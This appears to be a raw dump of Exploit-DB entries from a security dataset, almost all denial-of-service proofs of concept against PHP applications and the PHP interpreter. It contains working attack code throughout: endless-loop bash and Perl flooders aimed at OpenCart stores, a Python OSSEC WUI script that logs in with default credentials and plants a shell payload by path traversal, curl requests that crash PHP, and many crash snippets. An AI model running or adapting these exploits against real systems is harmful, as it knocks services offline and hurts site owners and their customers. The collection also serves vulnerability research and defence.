deardaniel/secdata-raw huggingface dataset:
Exploit-DB #46921
Description: Opencart 3.0.3.2 - 'extension/feed/google_base' Denial of Service (PoC)
Type: dos
Platform: php
Date: 2019-05-24
Author: Todor Donev

Exploit:
#!/bin/bash
#
#  Opencart <= 3.0.3.2 'extension/feed/google_base' Remote Denial of Service PoC exploit
#
#  Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>
#
#  PoC exploit, just for test...
#  Tested on store with added more than 1000 products
#  Usage: ./cartkiller.sh store_url threads sleep
#  Example: ./cartkiller.sh https://store_name 50 5
#
#
#  Disclaimer:
#  This or previous programs is for Educational 
#  purpose ONLY. Do not use it without permission. 
#  The usual disclaimer applies, especially the 
#  fact that Todor Donev is not liable for any 
#  damages caused by direct or indirect use of the 
#  information or functionality provided by these 
#  programs. The author or any Internet provider 
#  bears NO responsibility for content or misuse 
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact 
#  that any damage (dataloss, system crash, 
#  system compromise, etc.) caused by the use 
#  of these programs is not Todor Donev's 
#  responsibility.
#   
#  Use them at your own risk!
#

echo "Opencart <= 3.0.3.2 'extension/feed/google_base' Remote Denial of Service PoC exploit"
echo
echo "Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>"
echo
echo "PoC exploit, just for test..."
echo "Tested on store with added more than 1000 products"

if [ -z "$3" ]; then
echo Usage: "$0" store_url threads sleep
echo Example: "$0" https://store_name 50 5
exit 4
fi
 
url="$1"
threads="$2"
sleep="$3"
while :
do
        for ((i=1;i<=$2;i++)); 
        do 	
	    wget "$url/index.php?route=extension/feed/google_base" --user-agent="Mozilla/5.0 (OpenCart Killer v2 google_base Denial Of Service)" --quiet -O /dev/null -o /dev/null &
        done
#
# Sleep between loops..
#      
sleep $sleep
done
Exploit-DB #44927
Description: Opencart < 3.0.2.0 - Denial of Service
Type: dos
Platform: php
Date: 2018-06-22
Author: Todor Donev

Exploit:
#!/usr/bin/perl -w
#
#  Opencart <= 3.0.2.0 google_sitemap Remote Denial of Service (resource exhaustion)
#
#  Copyright 2018 (c) Todor Donev <todor.donev at gmail.com>
#  https://ethical-hacker.org/
#  https://facebook.com/ethicalhackerorg
#
#  Tested store with added more than 1000 products
#
#  [todor@adamantium cartkiller]# torsocks perl killcart.pl example.com
#  Opencart <= 3.0.2.0 google_sitemap Remote Denial of Service (resource exhaustion)
#  Connecting example.com with 80 forks..
#  Bye, bye and good night..
#  Bye, bye and good night..
#  Bye, bye and good night..
#  ^C
#  [todor@adamantium cartkiller]# 
#
#
#  Disclaimer:
#  This or previous programs is for Educational 
#  purpose ONLY. Do not use it without permission. 
#  The usual disclaimer applies, especially the 
#  fact that Todor Donev is not liable for any 
#  damages caused by direct or indirect use of the 
#  information or functionality provided by these 
#  programs. The author or any Internet provider 
#  bears NO responsibility for content or misuse 
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact 
#  that any damage (dataloss, system crash, 
#  system compromise, etc.) caused by the use 
#  of these programs is not Todor Donev's 
#  responsibility.
#   
#  Use them at your own risk!
#
#  This exploit is buggy and proof of concept
# 
use Parallel::ForkManager;
use LWP;
print "Opencart <= 3.0.2.0 google_sitemap Remote Denial of Service (resource exhaustion)\n";
sub usage{
    print "usg: perl $0 <host>\n";
    print "exmpl: perl $0 www.example.com\n";
    print "https://ethical-hacker.org/\n";
    print "https://facebook.com/ethicalhackerorg\n";
    print "Copyright 2018 (c) Todor Donev <todor.donev at gmail.com>\n";
}
if ($#ARGV < 0) {
    usage;
    exit;
}
my $numforks = 100;
print "Connecting $ARGV[0] with $numforks forks..\n";
sub killcart{
my $pm = new Parallel::ForkManager($numforks);
$|=1;
srand(time());
for ($k=0;$k<$numforks;$k++) {
$pm->start and next;   
my $browser  = LWP::UserAgent ->new(ssl_opts => { verify_hostname => 0 },protocols_allowed => ['https']);
#   $browser->timeout(20);
   $browser->agent('Mozilla/5.0');
my $response = $browser->get("https://$ARGV[0]/index.php?route=extension/feed/google_sitemap");
print "Loop detected: Opencart is still vulnerable but seems server is correct configured. Change forks.\n" if($response->code eq 508);
print "Kill me! Google_Sitemap is turned off..\n" if($response->code eq 404);
print "Bye, bye and good night..\n" if(($response->code eq 503 or $response->code eq 504));
$pm->finish;
}
$pm->wait_all_children;
}
while(1) {
killcart();
}
Exploit-DB #22494
Description: osCommerce 2.2 - 'product_info.php' Denial of Service
Type: dos
Platform: php
Date: 2003-04-15
Author: Lorenzo Hernandez Garcia-Hierro

Exploit:
source: https://www.securityfocus.com/bid/7351/info

It has been reported that an attacker may trigger a denial of service condition in osCommerce application. If malicious URI parameters are passed to several of the osCommerce PHP pages, the mySQL and web server hosting osCommerce reportedly becomes unstable, possibly resulting in a denial of service condition.

It should be noted that although osCommerce version 2.2cvs was reported vulnerable, previous versions may also be affected. 

product_info.php?products_id=[large amount of random content]
Exploit-DB #37728
Description: OSSEC WUI 0.8 - Denial of Service
Type: dos
Platform: php
Date: 2015-08-07
Author: Milad Saber

Exploit:
###########################################################
# Exploit Title: [OSSEC]
# Date: [2015-08-01]
# Exploit Author: [Milad Saber]
# Vendor Homepage: [www.ossec.net]
# Software Link: [www.ossec.net/files/ossec-wui-0.8.tar.gz]
# Version: [0.8]
# Tested on: [OSSEC Manager]
# Exploit for DOS ossec server.
# Please install ossec server and WUI 0.8 and run this exploit
##########################################################
import socket
import sys
import time
 
# specify payload
payload = '[ "$(id -u)" == "0" ] && touch /var/ossec/ossec.conf' # to exploit only on root
user = 'root'
pwd = 'var'
 
if len(sys.argv) != 2:
    sys.stderr.write("[-]Usage: python %s <ip>\ossec-wui-0.8" % sys.argv[0])
    sys.stderr.write("[-]Exemple: python %s 127.0.0.1\ossec-wui-0.8" % sys.argv[0])
    sys.exit(1)
 
ip = sys.argv[1]
 
def recv(s):
        s.recv(1024)
        time.sleep(0.2)
 
try:
    print "[+]Connecting to milad exploit ..."
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((ip,4555))
    s.recv(1024)
    s.send(user + "\n")
    s.recv(1024)
    s.send(pwd + "\n")
    s.recv(1024)
    print "[+]Creating user..."
    s.send("adduser ../../../../../../../../var/ossec/ossec.conf exploit\n")
    s.recv(1024)
    s.send("quit\n")
    s.close()
 
    print "[+]Connecting to SMTP server..."
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((ip,25,80))
    s.send("hello milad@milad.pl\r\n")
    recv(s)
    print "[+]Sending payload..."
    s.send("mail from: <'@milad.pl>\r\n")
    recv(s)
    # also try s.send("rcpt to: <../../../../../../../../var/ossec/ossec.conf/r\n") if the recipient cannot be found
    s.send("rcpt to: <../../../../../../../../var/ossec/ossec.conf\r\n")
    recv(s)
    s.send("data\r\n")
    recv(s)
    s.send("From: milad@milad.pl\r\n")
    s.send("\r\n")
    s.send("'\n")
    s.send(payload + "\n")
    s.send("\r\n.\r\n")
    recv(s)
    s.send("quit\r\n")
    recv(s)
    s.close()
    print "[+]Done! Payload will be executed once somebody logs in."
except:
    print "Connection failed."
Exploit-DB #24855
Description: PHP 3/4/5 - Multiple Local/Remote Vulnerabilities (2)
Type: dos
Platform: php
Date: 2004-12-15
Author: Slythers

Exploit:
source: https://www.securityfocus.com/bid/11964/info
 
PHP4 and PHP5 are reported prone to multiple local and remote vulnerabilities that may lead to code execution within the context of the vulnerable process. The following specific issues are reported:
 
A heap-based buffer overflow is reported to affect the PHP 'pack()' function call. An attacker that has the ability to make the PHP interpreter run a malicious script may exploit this condition to execute arbitrary instructions in the context of the vulnerable process.
 
A heap-based memory disclosure vulnerability is reported to affect the PHP 'unpack()' function call. An attacker that has the ability to make the PHP interpreter run a malicious script may exploit this condition to reveal portions of the process heap.
 
PHP safe_mode_exec_dir is reported prone to an access control bypass vulnerability. A local attacker that can manipulate the directory name from which the PHP script is called, may bypass 'safe_mode_exec_dir' restrictions by placing shell metacharacters and restricted commands into the directory name of the current directory.
 
PHP safe_mode is reported prone to an access control bypass vulnerability. An attacker that has the ability to make the PHP interpreter run a malicious script may exploit this condition to execute commands that are otherwise restricted by PHP safe_mode.
 
PHP is reported prone to a 'realpath()' path truncation vulnerability. The vulnerability exists due to a lack of sanitization as to whether a path has been silently truncated by the libc realpath() function or not. This may lead to remote file include vulnerabilities in some cases.
 
The PHP function 'unserialize()' is reported prone to a memory corruption vulnerability. This corruption may be leveraged by a remote attacker that has the ability to make the PHP interpreter run a malicious script to execute arbitrary code in the context of the vulnerable process.
 
The PHP function 'unserialize()' is also reported prone to an information disclosure vulnerability. This issue may be leveraged by a remote attacker to disclose the contents of heap memory. This may allow them to gain access to potentially sensitive information, such as database credentials.
 
Finally, the PHP function 'unserialize()', is reported prone to an additional vulnerability. It is reported that previous versions of this function allow a malicious programmer to set references to entries of a variable hash that have already been freed. This can lead to remote memory corruption.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24855.zip
Exploit-DB #29692
Description: PHP 3/4/5 - ZendEngine Variable Destruction Remote Denial of Service
Type: dos
Platform: php
Date: 2007-03-01
Author: Stefan Esser

Exploit:
source: https://www.securityfocus.com/bid/22764/info

PHP is prone to a denial-of-service vulnerability because it fails to properly sanitize user-supplied input.

An attacker who can run PHP code on a vulnerable computer may exploit this vulnerability to crash PHP and the webserver, denying service to legitimate users.

This issue affects all versions of PHP. 

$ php -r 'echo "a".str_repeat("[]",200000)."=1&a=0";' > postdata

$ curl http://www.example.com/ -d @postdata
Exploit-DB #22419
Description: PHP 4.3 - 'socket_iovec_alloc()' Integer Overflow
Type: dos
Platform: php
Date: 2003-03-25
Author: Sir Mordred

Exploit:
source: https://www.securityfocus.com/bid/7187/info

A vulnerability has been reported in PHP versions 4.3.1 and earlier. The problem occurs in the socket_iovec_alloc() and may allow an attacker to corrupt memory. Specifically, the affected function fails to carry out sanity checks on user-supplied argument values, making it prone to an integer overflow.

This may make it possible for an attacker to trigger a denial of service. Although it has not been confirmed, it may also be possible to exploit this issue to execute arbitrary code.

It should be noted that socket functionality is only included in PHP if compiled with the "--enable-sockets" option.

<?php
socket_iovec_alloc(0x20000000);
?>
Exploit-DB #22435
Description: PHP 4.3.x/5.0 - 'openlog()' Buffer Overflow
Type: dos
Platform: php
Date: 2003-03-27
Author: sir.mordred@hushmail.com

Exploit:
source: https://www.securityfocus.com/bid/7210/info

A buffer overflow has been reported in the PHP openlog() function. By passing an argument of excessive size to the function, it may be possible for an attacker to overwrite memory, resulting in a denial of service. It is also possible for an attacker to execute arbitrary code in the PHP interpreter.

This vulnerability was reported for PHP 4.3.1 and later, however it is likely that previous versions are also affected. This issue appears to affect all platforms PHP runs on. 

<?php
openlog(str_repeat("X", 1500), LOG_PID, LOG_DAEMON);
?>
Exploit-DB #22425
Description: PHP 4.x - 'socket_recv()' Signed Integer Memory Corruption
Type: dos
Platform: php
Date: 2003-03-26
Author: Sir Mordred

Exploit:
source: https://www.securityfocus.com/bid/7197/info

A vulnerability has been reported in PHP versions 4.3.1 and earlier. The problem occurs in the socket_recv() and may allow an attacker to corrupt memory. Specifically, the affected function fails to carry out sanity checks on user-supplied argument values, making it prone to an integer overflow.

This may make it possible for an attacker to trigger a denial of service. Although it has not been confirmed, it may also be possible to exploit this issue to execute arbitrary code.

It should be noted that socket functionality is only included in PHP if compiled with the "--enable-sockets" option.

<?php
$buf = "";
socket_recv(socket_create(AF_INET, SOCK_STREAM, 0), $buf, -3, 0);
?>
Exploit-DB #22426
Description: PHP 4.x - 'socket_recvfrom()' Signed Integer Memory Corruption
Type: dos
Platform: php
Date: 2003-03-26
Author: Sir Mordred

Exploit:
source: https://www.securityfocus.com/bid/7198/info

A vulnerability has been reported in PHP versions 4.3.1 and earlier. The problem occurs in the socket_recvfrom() and may allow an attacker to corrupt memory. Specifically, the affected function fails to carry out sanity checks on user-supplied argument values, making it prone to an integer overflow.

This may make it possible for an attacker to trigger a denial of service. Although it has not been confirmed, it may also be possible to exploit this issue to execute arbitrary code.

It should be noted that socket functionality is only included in PHP if compiled with the "--enable-sockets" option.

<?php
$buf = "";
$name = "";
socket_recvfrom(socket_create(AF_INET, SOCK_STREAM, 0), $buf, -3, 0,
$name);
?>
Exploit-DB #29693
Description: PHP 4/5 - Executor Deep Recursion Remote Denial of Service
Type: dos
Platform: php
Date: 2007-03-01
Author: Maksymilian Arciemowicz

Exploit:
source: https://www.securityfocus.com/bid/22766/info

PHP is prone to a denial-of-service vulnerability because it fails to properly sanitize user-supplied input.

An attacker with permissions to execute PHP code on an affected computer may exploit this issue to crash PHP and kill all remaining webserver threads. This will result in denial-of-service conditions.

Although this issue is local in nature, a remote attacker may exploit it by using other latent vulnerabilities such as a remote file-include issues; other remote attack vectors are also possible.

This issue affects all versions of PHP. 

$ curl http://www.example.com/phpmyadmin/ -d a`php -r 'echo str_repeat("[a]",20000);'`=1
Exploit-DB #40301
Description: PHP 5.0.0 - 'domxml_open_file()' Local Denial of Service
Type: dos
Platform: php
Date: 2016-08-29
Author: Yakir Wizman

Exploit:
<?php
#############################################################################
## PHP 5.0.0 domxml_open_file() Local Denial of Service
## Tested on Windows Server 2012 R2 64bit, English, PHP 5.0.0
## Download @ http://museum.php.net/php5/php-5.0.0-Win32.zip
## Date: 26/08/2016
## Local Denial of Service
## Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
## http://www.black-rose.ml
#############################################################################
if (!extension_loaded("domxml")) die("You need domxml extension loaded!");

$str = str_repeat('A', 9999);
domxml_open_file($str);
?>
Exploit-DB #40317
Description: PHP 5.0.0 - 'fbird_[p]connect()' Local Denial of Service
Type: dos
Platform: php
Date: 2016-08-31
Author: Yakir Wizman

Exploit:
<?php
#############################################################################
## PHP 5.0.0 fbird_[p]connect() Local Denial of Service
## Tested on Windows Server 2012 R2 64bit, English, PHP 5.0.0
## Download @ http://museum.php.net/php5/php-5.0.0-Win32.zip
## Date: 26/08/2016
## Local Denial of Service
## Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
## http://www.black-rose.ml
#############################################################################
if (!extension_loaded("interbase")) die("You need interbase extension loaded!");

$str = str_repeat('A', 9999);
//fbird_connect($str);
fbird_pconnect($str);
?>
Exploit-DB #40315
Description: PHP 5.0.0 - 'html_doc_file()' Local Denial of Service
Type: dos
Platform: php
Date: 2016-08-30
Author: Yakir Wizman

Exploit:
                        <?php
#############################################################################
## PHP 5.0.0 html_doc_file() Local Denial of Service
## Tested on Windows Server 2012 R2 64bit, English, PHP 5.0.0
## Download @ http://museum.php.net/php5/php-5.0.0-Win32.zip
## Date: 26/08/2016
## Local Denial of Service
## Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
## http://www.black-rose.ml
#############################################################################
if (!extension_loaded("domxml")) die("You need domxml extension loaded!");

$str = str_repeat('A', 9999);
html_doc_file($str);
?>
Exploit-DB #40314
Description: PHP 5.0.0 - 'hw_docbyanchor()' Local Denial of Service
Type: dos
Platform: php
Date: 2016-08-30
Author: Yakir Wizman

Exploit:
                        <?php
#############################################################################
## PHP 5.0.0 hw_docbyanchor() Local Denial of Service
## Tested on Windows Server 2012 R2 64bit, English, PHP 5.0.0
## Download @ http://museum.php.net/php5/php-5.0.0-Win32.zip
## Date: 26/08/2016
## Local Denial of Service
## Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
## http://www.black-rose.ml
#############################################################################
if (!extension_loaded("domxml")) die("You need domxml extension loaded!");

hw_docbyanchor(0,0);
?>
Exploit-DB #40313
Description: PHP 5.0.0 - 'imap_mail()' Local Denial of Service
Type: dos
Platform: php
Date: 2016-08-30
Author: Yakir Wizman

Exploit:
                        <?php
#############################################################################
## PHP 5.0.0 imap_mail() Local Denial of Service
## Tested on Windows Server 2012 R2 64bit, English, PHP 5.0.0
## Download @ http://museum.php.net/php5/php-5.0.0-Win32.zip
## Date: 26/08/2016
## Local Denial of Service
## Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
## http://www.black-rose.ml
#############################################################################
if (!extension_loaded("imap")) die("You need imap extension loaded!");

$str = str_repeat('A', 9999);
imap_mail($str,'','');
?>
Exploit-DB #40305
Description: PHP 5.0.0 - 'simplexml_load_file()' Local Denial of Service
Type: dos
Platform: php
Date: 2016-08-29
Author: Yakir Wizman

Exploit:
<?php
#############################################################################
## PHP 5.0.0 simplexml_load_file() Local Denial of Service
## Tested on Windows Server 2012 R2 64bit, English, PHP 5.0.0
## Download @ http://museum.php.net/php5/php-5.0.0-Win32.zip
## Date: 26/08/2016
## Local Denial of Service
## Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
## http://www.black-rose.ml
#############################################################################
if (!extension_loaded("domxml")) die("You need domxml extension loaded!");

$str = str_repeat('A', 9999);
simplexml_load_file($str);
?>
Exploit-DB #40319
Description: PHP 5.0.0 - 'snmprealwalk()' Local Denial of Service
Type: dos
Platform: php
Date: 2016-08-31
Author: Yakir Wizman

Exploit:
<?php
#############################################################################
## PHP 5.0.0 snmprealwalk() Local Denial of Service
## Tested on Windows Server 2012 R2 64bit, English, PHP 5.0.0
## Download @ http://museum.php.net/php5/php-5.0.0-Win32.zip
## Date: 26/08/2016
## Local Denial of Service
## Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
## http://www.black-rose.ml
#############################################################################
if (!extension_loaded("snmp")) die("You need snmp extension loaded!");

$str = str_repeat('A', 9999);
snmprealwalk('127.0.0.1', 'public', $str);
?>
Exploit-DB #40320
Description: PHP 5.0.0 - 'snmpset()' Local Denial of Service
Type: dos
Platform: php
Date: 2016-08-31
Author: Yakir Wizman

Exploit:
<?php
#############################################################################
## PHP 5.0.0 snmpset() Local Denial of Service
## Tested on Windows Server 2012 R2 64bit, English, PHP 5.0.0
## Download @ http://museum.php.net/php5/php-5.0.0-Win32.zip
## Date: 26/08/2016
## Local Denial of Service
## Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
## http://www.black-rose.ml
#############################################################################
if (!extension_loaded("snmp")) die("You need snmp extension loaded!");

$str = str_repeat('A', 9999);
snmpset("localhost", 'public', $str, '', '');
?>
Exploit-DB #40318
Description: PHP 5.0.0 - 'snmpwalk()' Local Denial of Service
Type: dos
Platform: php
Date: 2016-08-31
Author: Yakir Wizman

Exploit:
<?php
#############################################################################
## PHP 5.0.0 snmpwalk() Local Denial of Service
## Tested on Windows Server 2012 R2 64bit, English, PHP 5.0.0
## Download @ http://museum.php.net/php5/php-5.0.0-Win32.zip
## Date: 26/08/2016
## Local Denial of Service
## Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
## http://www.black-rose.ml
#############################################################################
if (!extension_loaded("snmp")) die("You need snmp extension loaded!");

$str = str_repeat('A', 9999);
snmpwalk('127.0.0.1', 'public', $str);
?>
Exploit-DB #40316
Description: PHP 5.0.0 - 'snmpwalkoid()' Local Denial of Service
Type: dos
Platform: php
Date: 2016-08-31
Author: Yakir Wizman

Exploit:
<?php
#############################################################################
## PHP 5.0.0 snmpwalkoid() Local Denial of Service
## Tested on Windows Server 2012 R2 64bit, English, PHP 5.0.0
## Download @ http://museum.php.net/php5/php-5.0.0-Win32.zip
## Date: 26/08/2016
## Local Denial of Service
## Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
## http://www.black-rose.ml
#############################################################################
if (!extension_loaded("snmp")) die("You need snmp extension loaded!");

$str = str_repeat('A', 9999);
snmpwalkoid('127.0.0.1', 'public', $str); 
?>